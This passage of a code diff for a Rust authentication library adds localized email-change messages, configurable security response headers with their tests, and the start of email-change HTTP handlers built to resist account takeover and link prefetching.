| 93 | + validation_ignore: "Se non hai richiesto questa modifica, ignora semplicemente questo messaggio: nulla è stato modificato e il link scadrà da solo." | |
| 94 | + validation_button: "Apri la pagina di conferma" | |
| 95 | + notice_subject: "È stata aperta una richiesta di modifica dell'indirizzo e-mail sul tuo account" | |
| 96 | + notice_title: "Richiesta di modifica dell'indirizzo e-mail" | |
| 97 | + notice_intro: "È appena stata aperta una richiesta di trasferimento del tuo account verso {email}." | |
| 98 | + notice_unchanged: "Il tuo account NON è cambiato: utilizza ancora questo indirizzo, che resta verificato finché il nuovo non viene confermato." | |
| 99 | + notice_report_intro: "Se la richiesta non proviene da te, apri la pagina di segnalazione qui sotto per avvisare gli amministratori." | |
| 100 | + notice_button: "Apri la pagina di segnalazione" | |
| 101 | + reported_admin_subject: "Modifica dell'indirizzo e-mail segnalata da un utente" | |
| 102 | + reported_admin_title: "Modifica dell'indirizzo e-mail segnalata" | |
| 103 | + reported_admin_intro: "L'utente {username} ha segnalato una richiesta di modifica dell'indirizzo e-mail che dichiara di non aver avviato." | |
| 104 | + reported_admin_details: "Indirizzo attuale: {old_email} — indirizzo richiesto: {new_email} — segnalazione ricevuta il {reported_at}." | |
| 105 | + reported_admin_not_blocked: "La modifica NON è bloccata: se il link di conferma viene seguito, l'indirizzo verrà modificato. Intervieni se la situazione lo richiede." | |
| 106 | + by_admin_subject: "Il tuo indirizzo e-mail è stato modificato da un amministratore" | |
| 107 | + by_admin_title: "Indirizzo e-mail modificato da un amministratore" | |
| 108 | + by_admin_intro: "L'indirizzo e-mail del tuo account {app_name} è stato modificato da un amministratore." | |
| 109 | + by_admin_details: "Indirizzo precedente: {old_email} — nuovo indirizzo: {new_email}." | |
| 110 | + by_admin_support: "Non è richiesta alcuna azione da parte tua e non c'è nulla da confermare. In caso di dubbi, contatta l'assistenza." | |
| 111 | + | |
| 112 | +# Pagine di conferma e di segnalazione (RFC 0041) | |
| 113 | +email_change_page: | |
| 114 | + confirm_title: "Conferma il tuo nuovo indirizzo e-mail" | |
| 115 | + confirm_question: "Stai per sostituire l'indirizzo e-mail di accesso del tuo account. Tutte le tue sessioni attive verranno chiuse." | |
| 116 | + confirm_button: "Conferma la modifica" | |
| 117 | + confirm_success_title: "Indirizzo e-mail modificato" | |
| 118 | + confirm_success: "Il tuo nuovo indirizzo è attivo e verificato. Le tue sessioni sono state chiuse: accedi di nuovo con questo nuovo indirizzo." | |
| 119 | + report_title: "Segnala una richiesta sospetta" | |
| 120 | + report_question: "Stai per avvisare gli amministratori di questa richiesta di modifica dell'indirizzo. La modifica non verrà bloccata." | |
| 121 | + report_button: "Avvisa gli amministratori" | |
| 122 | + report_success_title: "Segnalazione inviata" | |
| 123 | + report_success: "Gli amministratori sono stati avvisati. Se la richiesta non proviene da te, cambia subito la tua password." | |
| 124 | + error_title: "Link inutilizzabile" | |
| 125 | + error_invalid: "Questo link non è valido." | |
| 126 | + error_expired: "Questo link è scaduto." | |
| 127 | + error_used: "Questo link è già stato utilizzato." | |
| 128 | + error_generic: "Non è stato possibile elaborare questa richiesta." |
M
crates/rustwarden-core/locales/pt.yml
+46
-0
@@ -80,3 +80,49 @@ oauth:
| 80 | 80 | # Sessões |
| 81 | 81 | session: |
| 82 | 82 | ip_unavailable: "Indisponível" |
| 83 | +# Alteração do endereço de e-mail (RFC 0041) | |
| 84 | +email_change: | |
| 85 | + request_accepted: "Foi enviado um e-mail para o seu novo endereço. A alteração será aplicada após a validação." | |
| 86 | + greeting: "Olá {username}," | |
| 87 | + fallback_label: "O botão não funciona? Copie este link para o seu navegador:" | |
| 88 | + footer: "Este e-mail foi enviado automaticamente, por favor não responda." | |
| 89 | + validation_subject: "Confirme o seu novo endereço de e-mail" | |
| 90 | + validation_title: "Confirme o seu novo endereço de e-mail" | |
| 91 | + validation_intro: "Foi aberto um pedido de alteração do endereço de e-mail para a sua conta {app_name}. Abra a página de confirmação abaixo e confirme aí a alteração para a concluir." | |
| 92 | + validation_expires: "Este link é válido durante {hours} hora(s)." | |
| 93 | + validation_ignore: "Se não foi você que pediu esta alteração, ignore esta mensagem: nada foi modificado e o link expirará sozinho." | |
| 94 | + validation_button: "Abrir a página de confirmação" | |
| 95 | + notice_subject: "Foi aberto um pedido de alteração do endereço de e-mail na sua conta" | |
| 96 | + notice_title: "Pedido de alteração do endereço de e-mail" | |
| 97 | + notice_intro: "Acaba de ser aberto um pedido para transferir a sua conta para {email}." | |
| 98 | + notice_unchanged: "A sua conta NÃO mudou: continua a usar este endereço, que permanece verificado enquanto o novo não for confirmado." | |
| 99 | + notice_report_intro: "Se o pedido não partiu de si, abra a página de denúncia abaixo para alertar os administradores." | |
| 100 | + notice_button: "Abrir a página de denúncia" | |
| 101 | + reported_admin_subject: "Alteração de e-mail denunciada por um utilizador" | |
| 102 | + reported_admin_title: "Alteração de e-mail denunciada" | |
| 103 | + reported_admin_intro: "O utilizador {username} denunciou um pedido de alteração de endereço de e-mail que declara não ter iniciado." | |
| 104 | + reported_admin_details: "Endereço atual: {old_email} — endereço pedido: {new_email} — denúncia recebida a {reported_at}." | |
| 105 | + reported_admin_not_blocked: "A alteração NÃO está bloqueada: se o link de confirmação for seguido, o endereço será alterado. Intervenha se a situação o justificar." | |
| 106 | + by_admin_subject: "O seu endereço de e-mail foi alterado por um administrador" | |
| 107 | + by_admin_title: "Endereço de e-mail alterado por um administrador" | |
| 108 | + by_admin_intro: "O endereço de e-mail da sua conta {app_name} foi alterado por um administrador." | |
| 109 | + by_admin_details: "Endereço anterior: {old_email} — novo endereço: {new_email}." | |
| 110 | + by_admin_support: "Não é necessária qualquer ação da sua parte e não há nada a confirmar. Em caso de dúvida, contacte o suporte." | |
| 111 | + | |
| 112 | +# Páginas de confirmação e de denúncia (RFC 0041) | |
| 113 | +email_change_page: | |
| 114 | + confirm_title: "Confirmar o seu novo endereço de e-mail" | |
| 115 | + confirm_question: "Está prestes a substituir o endereço de e-mail de início de sessão da sua conta. Todas as suas sessões ativas serão encerradas." | |
| 116 | + confirm_button: "Confirmar a alteração" | |
| 117 | + confirm_success_title: "Endereço de e-mail alterado" | |
| 118 | + confirm_success: "O seu novo endereço está ativo e verificado. As suas sessões foram encerradas: inicie sessão novamente com este novo endereço." | |
| 119 | + report_title: "Denunciar um pedido suspeito" | |
| 120 | + report_question: "Vai alertar os administradores sobre este pedido de alteração de endereço. A alteração não ficará bloqueada por isso." | |
| 121 | + report_button: "Alertar os administradores" | |
| 122 | + report_success_title: "Denúncia enviada" | |
| 123 | + report_success: "Os administradores foram avisados. Se o pedido não partiu de si, mude a sua palavra-passe de imediato." | |
| 124 | + error_title: "Link inutilizável" | |
| 125 | + error_invalid: "Este link é inválido." | |
| 126 | + error_expired: "Este link expirou." | |
| 127 | + error_used: "Este link já foi utilizado." | |
| 128 | + error_generic: "Não foi possível processar este pedido." |
M
crates/rustwarden-core/src/app.rs
+288
-12
@@ -35,6 +35,7 @@ use crate::auth::session::SessionConfig;
| 35 | 35 | use crate::config::auth::AuthConfig; |
| 36 | 36 | use crate::config::database; |
| 37 | 37 | use crate::config::email::EmailConfig; |
| 38 | +use crate::config::security_headers::{DEFAULT_CONTENT_SECURITY_POLICY, SecurityHeadersConfig}; | |
| 38 | 39 | use crate::config::server::ServerConfig; |
| 39 | 40 | use crate::dashboard::DashboardCardDTO; |
| 40 | 41 | use crate::hooks::{NoopHooks, RustwardenHooks}; |
@@ -106,6 +107,12 @@ impl RustwardenApp {
| 106 | 107 | } |
| 107 | 108 | |
| 108 | 109 | /// Get the assembled router (for advanced usage, e.g. testing). |
| 110 | + /// | |
| 111 | + /// Callers who serve this router themselves **must** use | |
| 112 | + /// [`axum::Router::into_make_service_with_connect_info`] with | |
| 113 | + /// [`std::net::SocketAddr`]. Without that extension, the auth IP | |
| 114 | + /// rate-limit cannot see the peer address and keys every request as | |
| 115 | + /// `unknown`. [`RustwardenApp::run`] does this automatically. | |
| 109 | 116 | pub fn into_router(self) -> Router { |
| 110 | 117 | self.router |
| 111 | 118 | } |
@@ -114,9 +121,13 @@ impl RustwardenApp {
| 114 | 121 | pub async fn run(self) -> anyhow::Result<()> { |
| 115 | 122 | let listener = tokio::net::TcpListener::bind(&self.address).await?; |
| 116 | 123 | tracing::info!("Server listening on http://{}", self.address); |
| 117 | - axum::serve(listener, self.router) | |
| 118 | - .await | |
| 119 | - .map_err(|e| anyhow::anyhow!("Server error: {}", e)) | |
| 124 | + axum::serve( | |
| 125 | + listener, | |
| 126 | + self.router | |
| 127 | + .into_make_service_with_connect_info::<std::net::SocketAddr>(), | |
| 128 | + ) | |
| 129 | + .await | |
| 130 | + .map_err(|e| anyhow::anyhow!("Server error: {}", e)) | |
| 120 | 131 | } |
| 121 | 132 | } |
| 122 | 133 |
@@ -169,6 +180,10 @@ pub struct RustwardenBuilder {
| 169 | 180 | /// Set by [`RustwardenBuilder::headless`]; flips the default auth-failure |
| 170 | 181 | /// mode to `Json401` when no explicit mode was requested. |
| 171 | 182 | headless: bool, |
| 183 | + /// Security response headers applied by the security headers middleware | |
| 184 | + /// (RFC 0039). Defaults to the 1.0.1-compatible policy: legacy CSP, | |
| 185 | + /// no COOP/CORP. Overridden via [`RustwardenBuilder::security_headers`]. | |
| 186 | + security_headers: SecurityHeadersConfig, | |
| 172 | 187 | } |
| 173 | 188 | |
| 174 | 189 | impl Default for RustwardenBuilder { |
@@ -196,6 +211,7 @@ impl Default for RustwardenBuilder {
| 196 | 211 | login_path: None, |
| 197 | 212 | auth_failure_mode: None, |
| 198 | 213 | headless: false, |
| 214 | + security_headers: SecurityHeadersConfig::default(), | |
| 199 | 215 | } |
| 200 | 216 | } |
| 201 | 217 | } |
@@ -234,6 +250,19 @@ impl RustwardenBuilder {
| 234 | 250 | self |
| 235 | 251 | } |
| 236 | 252 | |
| 253 | + /// Override security headers (CSP / optional COOP / CORP). | |
| 254 | + /// | |
| 255 | + /// Default: [`SecurityHeadersConfig::default`] (current 1.0.1 CSP, | |
| 256 | + /// no COOP/CORP), so consumers that never call this method keep | |
| 257 | + /// bit-identical response headers. Call this to supply a stricter | |
| 258 | + /// `Content-Security-Policy` or to opt into cross-origin isolation | |
| 259 | + /// (e.g. Gitrust dropping its `SetResponseHeaderLayer::overriding` | |
| 260 | + /// workaround — RFC 0039). | |
| 261 | + pub fn security_headers(mut self, cfg: SecurityHeadersConfig) -> Self { | |
| 262 | + self.security_headers = cfg; | |
| 263 | + self | |
| 264 | + } | |
| 265 | + | |
| 237 | 266 | /// Merge additional custom routes into the **browser** family. |
| 238 | 267 | /// |
| 239 | 268 | /// Browser routes are session-cookie driven and therefore receive the |
@@ -685,11 +714,23 @@ impl RustwardenBuilder {
| 685 | 714 | let prefixes_for_auth = std::sync::Arc::clone(&protected_prefixes); |
| 686 | 715 | let revocation_checker = self.revocation_checker.clone(); |
| 687 | 716 | let dashboard_cards = self.dashboard_cards.clone(); |
| 717 | + // RFC 0039: the security-headers middleware is the layer right after | |
| 718 | + // CORS, i.e. *outside* every `Extension(...)` below. Request | |
| 719 | + // extensions are therefore never visible to it on the way in, so the | |
| 720 | + // config is captured in the closure as an `Arc` (same pattern as | |
| 721 | + // `locale_middleware`), NOT injected via `Extension`. | |
| 722 | + let headers_cfg = std::sync::Arc::new(self.security_headers.clone()); | |
| 688 | 723 | |
| 689 | 724 | let app = router.with_state(db).layer( |
| 690 | 725 | ServiceBuilder::new() |
| 691 | 726 | .layer(cors_layer) |
| 692 | - .layer(axum::middleware::from_fn(security_headers_middleware)) | |
| 727 | + .layer(axum::middleware::from_fn({ | |
| 728 | + let cfg = headers_cfg.clone(); | |
| 729 | + move |req, next| { | |
| 730 | + let cfg = cfg.clone(); | |
| 731 | + async move { security_headers_middleware(cfg, req, next).await } | |
| 732 | + } | |
| 733 | + })) | |
| 693 | 734 | .layer_fn(move |service| AdminService::new(service, db_for_admin.clone())) |
| 694 | 735 | .layer_fn(move |service| { |
| 695 | 736 | AuthService::new(service, db_for_auth.clone(), prefixes_for_auth.clone()) |
@@ -840,7 +881,17 @@ impl RustwardenBuilder {
| 840 | 881 | } |
| 841 | 882 | |
| 842 | 883 | /// SEC-H1: Middleware that adds standard security headers to every response. |
| 843 | -async fn security_headers_middleware(request: Request, next: Next) -> Response { | |
| 884 | +/// | |
| 885 | +/// RFC 0039: the CSP (and opt-in COOP/CORP) come from the | |
| 886 | +/// [`SecurityHeadersConfig`] captured as an `Arc` when the layer is built | |
| 887 | +/// (see `RustwardenBuilder::build`). The config is deliberately NOT read | |
| 888 | +/// from request extensions: this layer sits outside every `Extension(...)` | |
| 889 | +/// layer, so extensions are not populated yet when the request passes here. | |
| 890 | +async fn security_headers_middleware( | |
| 891 | + cfg: Arc<SecurityHeadersConfig>, | |
| 892 | + request: Request, | |
| 893 | + next: Next, | |
| 894 | +) -> Response { | |
| 844 | 895 | let mut response = next.run(request).await; |
| 845 | 896 | let headers = response.headers_mut(); |
| 846 | 897 | headers.insert( |
@@ -864,13 +915,46 @@ async fn security_headers_middleware(request: Request, next: Next) -> Response {
| 864 | 915 | HeaderName::from_static("permissions-policy"), |
| 865 | 916 | HeaderValue::from_static("camera=(), microphone=(), geolocation=()"), |
| 866 | 917 | ); |
| 867 | - // SEC-FIX: CSP header to mitigate XSS attacks | |
| 868 | - headers.insert( | |
| 869 | - HeaderName::from_static("content-security-policy"), | |
| 870 | - HeaderValue::from_static( | |
| 871 | - "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" | |
| 872 | - ), | |
| 873 | - ); | |
| 918 | + // SEC-FIX: CSP header to mitigate XSS attacks. Value comes from the | |
| 919 | + // configured policy; an invalid header value (e.g. control characters) | |
| 920 | + // falls back to the 1.0.1 default instead of panicking (RFC 0039). | |
| 921 | + let csp = HeaderValue::from_str(cfg.content_security_policy.as_ref()).unwrap_or_else(|_| { | |
| 922 | + tracing::warn!( | |
| 923 | + "Invalid Content-Security-Policy value in SecurityHeadersConfig; \ | |
| 924 | + falling back to the default policy" | |
| 925 | + ); | |
| 926 | + HeaderValue::from_static(DEFAULT_CONTENT_SECURITY_POLICY) | |
| 927 | + }); | |
| 928 | + headers.insert(HeaderName::from_static("content-security-policy"), csp); | |
| 929 | + // RFC 0039: opt-in cross-origin isolation headers. `None` (the default) | |
| 930 | + // means the header is not emitted at all; a malformed value is skipped | |
| 931 | + // with a warning rather than failing the response. | |
| 932 | + if let Some(coop) = cfg.cross_origin_opener_policy.as_deref() { | |
| 933 | + match HeaderValue::from_str(coop) { | |
| 934 | + Ok(val) => { | |
| 935 | + headers.insert(HeaderName::from_static("cross-origin-opener-policy"), val); | |
| 936 | + } | |
| 937 | + Err(_) => { | |
| 938 | + tracing::warn!( | |
| 939 | + "Invalid Cross-Origin-Opener-Policy value in SecurityHeadersConfig; \ | |
| 940 | + header skipped" | |
| 941 | + ); | |
| 942 | + } | |
| 943 | + } | |
| 944 | + } | |
| 945 | + if let Some(corp) = cfg.cross_origin_resource_policy.as_deref() { | |
| 946 | + match HeaderValue::from_str(corp) { | |
| 947 | + Ok(val) => { | |
| 948 | + headers.insert(HeaderName::from_static("cross-origin-resource-policy"), val); | |
| 949 | + } | |
| 950 | + Err(_) => { | |
| 951 | + tracing::warn!( | |
| 952 | + "Invalid Cross-Origin-Resource-Policy value in SecurityHeadersConfig; \ | |
| 953 | + header skipped" | |
| 954 | + ); | |
| 955 | + } | |
| 956 | + } | |
| 957 | + } | |
| 874 | 958 | // SEC-FIX: HSTS conditioned on APP_DEBUG=false (production mode) instead of COOKIE_SECURE |
| 875 | 959 | if !std::env::var("APP_DEBUG") |
| 876 | 960 | .unwrap_or_default() |
@@ -958,4 +1042,196 @@ mod builder_tests {
| 958 | 1042 | let builder = RustwardenBuilder::default().register_protected_prefix("/custom"); |
| 959 | 1043 | assert!(builder.protected_prefixes.iter().any(|p| p == "/custom")); |
| 960 | 1044 | } |
| 1045 | + | |
| 1046 | + #[test] | |
| 1047 | + fn default_builder_uses_default_security_headers() { | |
| 1048 | + let builder = RustwardenBuilder::default(); | |
| 1049 | + assert_eq!( | |
| 1050 | + builder.security_headers.content_security_policy, | |
| 1051 | + DEFAULT_CONTENT_SECURITY_POLICY | |
| 1052 | + ); | |
| 1053 | + assert!( | |
| 1054 | + builder | |
| 1055 | + .security_headers | |
| 1056 | + .cross_origin_opener_policy | |
| 1057 | + .is_none() | |
| 1058 | + ); | |
| 1059 | + assert!( | |
| 1060 | + builder | |
| 1061 | + .security_headers | |
| 1062 | + .cross_origin_resource_policy | |
| 1063 | + .is_none() | |
| 1064 | + ); | |
| 1065 | + } | |
| 1066 | + | |
| 1067 | + #[test] | |
| 1068 | + fn security_headers_setter_overrides_config() { | |
| 1069 | + let builder = RustwardenBuilder::default() | |
| 1070 | + .security_headers(SecurityHeadersConfig::default().with_same_origin_isolation()); | |
| 1071 | + assert_eq!( | |
| 1072 | + builder | |
| 1073 | + .security_headers | |
| 1074 | + .cross_origin_opener_policy | |
| 1075 | + .as_deref(), | |
| 1076 | + Some("same-origin") | |
| 1077 | + ); | |
| 1078 | + } | |
| 1079 | +} | |
| 1080 | + | |
| 1081 | +/// HTTP-level tests for `security_headers_middleware` (RFC 0039 testing | |
| 1082 | +/// plan). The middleware is intentionally private to this module, so these | |
| 1083 | +/// integration-style tests (axum `Router` + `tower::ServiceExt::oneshot`, | |
| 1084 | +/// same pattern as `tests/csrf_protection.rs`) live in the crate's unit | |
| 1085 | +/// test tree instead of `tests/`. | |
| 1086 | +#[cfg(test)] | |
| 1087 | +mod security_headers_middleware_tests { | |
| 1088 | + use super::*; | |
| 1089 | + use axum::body::Body; | |
| 1090 | + use axum::http::Request as HttpRequest; | |
| 1091 | + use std::borrow::Cow; | |
| 1092 | + use tower::ServiceExt; // for `oneshot` | |
| 1093 | + | |
| 1094 | + /// Build a minimal router wired exactly like `RustwardenBuilder::build`: | |
| 1095 | + /// the config is captured in the `from_fn` closure as an `Arc`. | |
| 1096 | + /// | |
| 1097 | + /// Negative control for the `Extension` trap (RFC 0039): NO | |
| 1098 | + /// `axum::Extension(cfg)` layer is added anywhere here. In production the | |
| 1099 | + /// security-headers layer is more external than every `Extension(...)` | |
| 1100 | + /// layer, so `request.extensions()` would always come back empty for it — | |
| 1101 | + /// the `Arc` capture below is the only supported wiring, and these tests | |
| 1102 | + /// prove it works without any extension being injected. | |
| 1103 | + fn test_router(cfg: SecurityHeadersConfig) -> Router { | |
| 1104 | + let headers_cfg = std::sync::Arc::new(cfg); | |
| 1105 | + Router::new() | |
| 1106 | + .route("/", axum::routing::get(|| async { "ok" })) | |
| 1107 | + .layer(axum::middleware::from_fn({ | |
| 1108 | + let cfg = headers_cfg.clone(); | |
| 1109 | + move |req, next| { | |
| 1110 | + let cfg = cfg.clone(); | |
| 1111 | + async move { security_headers_middleware(cfg, req, next).await } | |
| 1112 | + } | |
| 1113 | + })) | |
| 1114 | + } | |
| 1115 | + | |
| 1116 | + async fn get_root(router: Router) -> Response { | |
| 1117 | + let req = HttpRequest::builder() | |
| 1118 | + .uri("/") | |
| 1119 | + .body(Body::empty()) | |
| 1120 | + .expect("request"); | |
| 1121 | + router.oneshot(req).await.expect("oneshot") | |
| 1122 | + } | |
| 1123 | + | |
| 1124 | + #[tokio::test] | |
| 1125 | + async fn default_config_emits_legacy_csp_and_no_coop_corp() { | |
| 1126 | + let resp = get_root(test_router(SecurityHeadersConfig::default())).await; | |
| 1127 | + let headers = resp.headers(); | |
| 1128 | + assert_eq!( | |
| 1129 | + headers | |
| 1130 | + .get("content-security-policy") | |
| 1131 | + .expect("csp header present"), | |
| 1132 | + DEFAULT_CONTENT_SECURITY_POLICY | |
| 1133 | + ); | |
| 1134 | + assert!(headers.get("cross-origin-opener-policy").is_none()); | |
| 1135 | + assert!(headers.get("cross-origin-resource-policy").is_none()); | |
| 1136 | + } | |
| 1137 | + | |
| 1138 | + #[tokio::test] | |
| 1139 | + async fn same_origin_isolation_emits_all_three_headers() { | |
| 1140 | + let cfg = SecurityHeadersConfig::default().with_same_origin_isolation(); | |
| 1141 | + let resp = get_root(test_router(cfg)).await; | |
| 1142 | + let headers = resp.headers(); | |
| 1143 | + assert_eq!( | |
| 1144 | + headers | |
| 1145 | + .get("content-security-policy") | |
| 1146 | + .expect("csp header present"), | |
| 1147 | + DEFAULT_CONTENT_SECURITY_POLICY | |
| 1148 | + ); | |
| 1149 | + assert_eq!( | |
| 1150 | + headers | |
| 1151 | + .get("cross-origin-opener-policy") | |
| 1152 | + .expect("coop header present"), | |
| 1153 | + "same-origin" | |
| 1154 | + ); | |
| 1155 | + assert_eq!( | |
| 1156 | + headers | |
| 1157 | + .get("cross-origin-resource-policy") | |
| 1158 | + .expect("corp header present"), | |
| 1159 | + "same-origin" | |
| 1160 | + ); | |
| 1161 | + } | |
| 1162 | + | |
| 1163 | + #[tokio::test] | |
| 1164 | + async fn invalid_csp_falls_back_to_default_without_panicking() { | |
| 1165 | + let cfg = SecurityHeadersConfig { | |
| 1166 | + // `\n` is a control character: `HeaderValue::from_str` rejects it. | |
| 1167 | + content_security_policy: Cow::Owned("default-src 'self'\n".to_string()), | |
| 1168 | + ..SecurityHeadersConfig::default() | |
| 1169 | + }; | |
| 1170 | + let resp = get_root(test_router(cfg)).await; | |
| 1171 | + assert_eq!( | |
| 1172 | + resp.headers() | |
| 1173 | + .get("content-security-policy") | |
| 1174 | + .expect("csp header present"), | |
| 1175 | + DEFAULT_CONTENT_SECURITY_POLICY, | |
| 1176 | + "invalid CSP must fall back to the 1.0.1 default" | |
| 1177 | + ); | |
| 1178 | + } | |
| 1179 | + | |
| 1180 | + #[tokio::test] | |
| 1181 | + async fn invalid_coop_is_skipped_but_csp_is_still_emitted() { | |
| 1182 | + let cfg = SecurityHeadersConfig { | |
| 1183 | + cross_origin_opener_policy: Some(Cow::Owned("same-origin\n".to_string())), | |
| 1184 | + ..SecurityHeadersConfig::default() | |
| 1185 | + }; | |
| 1186 | + let resp = get_root(test_router(cfg)).await; | |
| 1187 | + let headers = resp.headers(); | |
| 1188 | + assert!( | |
| 1189 | + headers.get("cross-origin-opener-policy").is_none(), | |
| 1190 | + "malformed COOP must be skipped, not emitted" | |
| 1191 | + ); | |
| 1192 | + assert_eq!( | |
| 1193 | + headers | |
| 1194 | + .get("content-security-policy") | |
| 1195 | + .expect("csp header present"), | |
| 1196 | + DEFAULT_CONTENT_SECURITY_POLICY | |
| 1197 | + ); | |
| 1198 | + } | |
| 1199 | + | |
| 1200 | + /// Regression guard: the hardcoded headers untouched by RFC 0039 must | |
| 1201 | + /// keep their 1.0.1 values whatever the configuration. | |
| 1202 | + #[tokio::test] | |
| 1203 | + async fn hardcoded_headers_are_unchanged() { | |
| 1204 | + let resp = get_root(test_router(SecurityHeadersConfig::default())).await; | |
| 1205 | + let headers = resp.headers(); | |
| 1206 | + assert_eq!( | |
| 1207 | + headers | |
| 1208 | + .get("x-frame-options") | |
| 1209 | + .expect("x-frame-options present"), | |
| 1210 | + "DENY" | |
| 1211 | + ); | |
| 1212 | + assert_eq!( | |
| 1213 | + headers | |
| 1214 | + .get("x-content-type-options") | |
| 1215 | + .expect("x-content-type-options present"), | |
| 1216 | + "nosniff" | |
| 1217 | + ); | |
| 1218 | + assert_eq!( | |
| 1219 | + headers | |
| 1220 | + .get("x-xss-protection") | |
| 1221 | + .expect("x-xss-protection present"), | |
| 1222 | + "0" | |
| 1223 | + ); | |
| 1224 | + assert_eq!( | |
| 1225 | + headers | |
| 1226 | + .get("referrer-policy") | |
| 1227 | + .expect("referrer-policy present"), | |
| 1228 | + "strict-origin-when-cross-origin" | |
| 1229 | + ); | |
| 1230 | + assert_eq!( | |
| 1231 | + headers | |
| 1232 | + .get("permissions-policy") | |
| 1233 | + .expect("permissions-policy present"), | |
| 1234 | + "camera=(), microphone=(), geolocation=()" | |
| 1235 | + ); | |
| 1236 | + } | |
| 961 | 1237 | } |
A
crates/rustwarden-core/src/auth/email_change_handlers.rs
+737
-0
@@ -0,0 +1,737 @@
| 1 | +//! HTTP handlers for the two-step email change (RFC 0041). | |
| 2 | +//! | |
| 3 | +//! Five endpoints, all on the machine channel (never behind the CSRF layer): | |
| 4 | +//! | |
| 5 | +//! | Method | Path | Auth | | |
| 6 | +//! |---|---|---| | |
| 7 | +//! | `POST` | `/api/v1/auth/email-change` | Bearer | | |
| 8 | +//! | `GET` | `/api/v1/auth/email-change/confirm/{token}` | public, **no side effect** | | |
| 9 | +//! | `POST` | `/api/v1/auth/email-change/confirm/{token}` | public, applies the change | | |
| 10 | +//! | `GET` | `/api/v1/auth/email-change/report/{token}` | public, **no side effect** | | |
| 11 | +//! | `POST` | `/api/v1/auth/email-change/report/{token}` | public, records the report | | |
| 12 | +//! | |
| 13 | +//! Both emailed links land on a `GET` that only renders a form; it is the | |
| 14 | +//! human click on that form that reaches the service. Anti-phishing gateways | |
| 15 | +//! and mail clients prefetch links, so a `GET` that acted would let a scanner | |
| 16 | +//! silently rewrite an account's login identity. | |
| 17 | +//! | |
| 18 | +//! The pages are built by the private `auth::email_change_pages` module: plain | |
| 19 | +//! `format!`-built HTML, so mounting these routes never requires a UI crate. | |
| 20 | + | |
| 21 | +use axum::{ | |
| 22 | + Extension, Json, | |
| 23 | + extract::{Path, State}, | |
| 24 | + response::Html, | |
| 25 | +}; | |
| 26 | +use sea_orm::DatabaseConnection; | |
| 27 | +use serde::{Deserialize, Serialize}; | |
| 28 | +use std::sync::Arc; | |
| 29 | +use validator::Validate; | |
| 30 | + | |
| 31 | +use crate::auth::email_change_pages::{EmailChangePage, render}; | |
| 32 | +use crate::auth::extractors::AuthUser; | |
| 33 | +use crate::config::email::EmailConfig; | |
| 34 | +use crate::error::AppError; | |
| 35 | +use crate::hooks::RustwardenHooks; | |
| 36 | +use crate::i18n::extractor::Locale; | |
| 37 | +use crate::i18n::service::I18nService; | |
| 38 | +use crate::services::email_change_service::{EmailChangeLinkState, EmailChangeService}; | |
| 39 | +use crate::services::email_sanitization::mask_email; | |
| 40 | + | |
| 41 | +/// Body of `POST /api/v1/auth/email-change`. | |
| 42 | +#[derive(Debug, Deserialize, Validate)] | |
| 43 | +pub struct EmailChangeRequestPayload { | |
| 44 | + /// Candidate address. Nothing is written to the account until the link | |
| 45 | + /// mailed to it is confirmed. | |
| 46 | + #[validate(email(message = "Invalid email format"))] | |
| 47 | + pub new_email: String, | |
| 48 | + | |
| 49 | + /// Current password: opening a change is a re-authenticated operation, so | |
| 50 | + /// a stolen access token alone cannot start an account takeover. | |
| 51 | + #[validate(length(min = 1, message = "Current password is required"))] | |
| 52 | + pub current_password: String, | |
| 53 | +} | |
| 54 | + | |
| 55 | +/// Response of `POST /api/v1/auth/email-change`. | |
| 56 | +#[derive(Debug, Serialize)] | |
| 57 | +pub struct EmailChangeRequestResponse { | |
| 58 | + /// Translated confirmation message for the end user. | |
| 59 | + pub message: String, | |
| 60 | + /// Candidate address, **masked**: the caller already knows what it typed, | |
| 61 | + /// and a response body ends up in logs and proxies. | |
| 62 | + pub pending_email: String, | |
| 63 | +} | |
| 64 | + | |
| 65 | +/// Translate `key`, falling back to `fallback` without an [`I18nService`]. | |
| 66 | +async fn tr(i18n: Option<&Arc<I18nService>>, key: &str, locale: &str, fallback: &str) -> String { | |
| 67 | + match i18n { | |
| 68 | + Some(service) => { | |
| 69 | + let value = service.translate(key, locale).await; | |
| 70 | + // `I18nService::translate` echoes the key when it is unknown. | |
| 71 | + if value == key { | |
| 72 | + fallback.to_string() | |
| 73 | + } else { | |
| 74 | + value | |
| 75 | + } | |
| 76 | + } | |
| 77 | + None => fallback.to_string(), | |
| 78 | + } | |
| 79 | +} | |
| 80 | + | |
| 81 | +/// Resolve the request locale, defaulting to the configured one. | |
| 82 | +fn locale_of(locale: Option<Extension<Locale>>) -> String { | |
| 83 | + locale | |
| 84 | + .map(|Extension(l)| l.0) | |
| 85 | + .unwrap_or_else(crate::config::tasks::default_locale) | |
| 86 | +} | |
| 87 | + | |
| 88 | +/// Build the service, attaching i18n when the application provides it. | |
| 89 | +fn service_from(i18n: Option<&Arc<I18nService>>) -> Result<EmailChangeService, AppError> { | |
| 90 | + let config = EmailConfig::from_env().map_err(|e| { | |
| 91 | + tracing::error!("Email configuration error: {}", e); | |
| 92 | + AppError::Config(e) | |
| 93 | + })?; | |
| 94 | + let service = EmailChangeService::new(config); | |
| 95 | + Ok(match i18n { | |
| 96 | + Some(i18n) => service.with_i18n(Arc::clone(i18n)), | |
| 97 | + None => service, | |
| 98 | + }) | |
| 99 | +} | |
| 100 | + | |
| 101 | +/// Render a page that only explains why a link cannot be used — no form, so | |
| 102 | +/// the visitor is never invited to submit a token that would be refused. | |
| 103 | +async fn unusable_link_page( | |
| 104 | + i18n: Option<&Arc<I18nService>>, | |
| 105 | + locale: &str, | |
| 106 | + state: EmailChangeLinkState, | |
| 107 | +) -> Html<String> { | |
| 108 | + let (key, fallback) = match state { | |
| 109 | + EmailChangeLinkState::Expired => { | |
| 110 | + ("email_change_page.error_expired", "This link has expired.") | |
| 111 | + } | |
| 112 | + EmailChangeLinkState::Used => ( | |
| 113 | + "email_change_page.error_used", | |
| 114 | + "This link has already been used.", | |
| 115 | + ), | |
| 116 | + EmailChangeLinkState::Unknown => { | |
| 117 | + ("email_change_page.error_invalid", "This link is invalid.") | |
| 118 | + } | |
| 119 | + // Not reachable through the callers, but fails closed: a usable link | |
| 120 | + // reported as unusable costs a retry, never a wrong write. | |
| 121 | + EmailChangeLinkState::Usable => ( | |
| 122 | + "email_change_page.error_generic", | |
